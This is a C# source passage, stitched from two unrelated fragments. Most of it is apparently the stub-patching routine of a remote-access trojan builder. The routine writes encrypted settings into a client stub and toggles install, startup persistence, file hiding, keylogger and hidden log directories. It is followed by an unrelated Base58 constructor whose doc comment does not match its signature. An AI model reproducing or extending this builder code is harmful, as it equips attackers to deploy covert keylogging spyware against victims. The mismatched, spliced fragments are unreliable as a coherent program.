methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); break; case 4: //installname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); break; case 5: //mutex methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); break; case 6: //startupkey methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); break; case 7: //encryption key methodDef.Body.Instructions[i].Operand = key; break; case 8: //tag methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); break; case 9: //LogDirectoryName methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); break; case 10: //ServerSignature methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); break; case 11: //ServerCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); break; case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); break; case 4: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); break; case 5: //HideLogDirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); break; case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = _options.Delay; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); } } } } } } }
/// <summary> /// Initializes a new instance of the <see cref="Base58"/> using parameters of the given <see cref="ICoin"/>. /// </summary> /// <exception cref="ArgumentNullException"/> /// <param name="coin">Coin to use</param> public Base58() { b58Chars = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; hash = new Sha256(true); }